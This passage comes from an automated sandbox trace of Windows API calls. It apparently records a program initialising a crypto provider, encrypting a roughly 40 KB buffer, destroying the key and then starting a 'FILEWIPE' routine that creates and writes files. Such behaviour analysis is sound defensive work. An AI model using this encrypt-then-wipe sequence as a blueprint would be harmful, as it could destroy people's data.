wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.942] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.942] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0026.942] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.942] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0026.942] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0026.942] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.942] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.942] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0026.942] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0026.942] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0026.942] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.942] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.942] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.943] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.943] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.943] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.943] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0026.943] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.943] CryptEncrypt (in: hKey=0xe8f4062640, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x9f78, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x9f80) returned 1 [0026.943] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.943] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.943] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.943] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.943] CharLowerBuffW (in: lpsz="byte[40833]", cchLength=0xb | out: lpsz="byte[40833]") returned 0xb [0026.943] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.944] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.946] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.946] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0026.946] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.946] CryptEncrypt (in: hKey=0xe8f4062640, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f4397eb0*, pdwDataLen=0xe8f3dfdf68*=0x9f78, dwBufLen=0x9f80 | out: pbData=0xe8f4397eb0*, pdwDataLen=0xe8f3dfdf68*=0x9f80) returned 1 [0026.946] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.946] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.946] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.946] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.946] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.946] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.946] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0026.946] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.946] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0026.946] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0026.946] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0026.946] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.946] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0026.946] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0026.946] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.946] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.946] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.948] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.948] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.948] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.949] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.949] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.949] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0026.949] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0026.949] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.949] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0026.949] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.949] CryptDestroyKey (hKey=0xe8f4062640) returned 1 [0026.949] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0026.949] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0026.949] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0026.949] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0026.949] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0026.949] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0026.949] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0026.949] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0026.949] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0026.949] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0026.949] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0026.949] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0026.949] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0026.949] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0026.949] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.949] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0026.949] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.949] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0026.949] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0026.949] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0026.949] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.949] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0026.949] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0026.950] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.950] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.950] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0026.950] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0026.950] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0026.950] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.950] CryptReleaseContext (hProv=0xe8f40632e0, dwFlags=0x0) returned 1 [0026.950] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.950] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.950] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0026.950] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.950] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.950] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.951] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.951] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.951] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.951] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0026.951] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.951] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.951] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.951] CharLowerBuffW (in: lpsz="byte[40824]", cchLength=0xb | out: lpsz="byte[40824]") returned 0xb [0026.952] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.952] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0026.952] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.952] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0026.952] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.952] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.952] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.952] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0026.952] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.952] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.952] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.952] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.952] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.952] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.952] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.952] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.952] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.952] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.952] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.952] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.952] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.952] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.952] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.952] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.953] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0026.953] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.953] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.953] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.953] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0026.953] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.953] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.953] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.953] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.953] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.953] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.953] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0026.953] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.953] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.953] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.953] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.953] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.954] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.954] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.955] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0026.955] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0026.955] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0026.955] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0026.955] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0026.955] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, 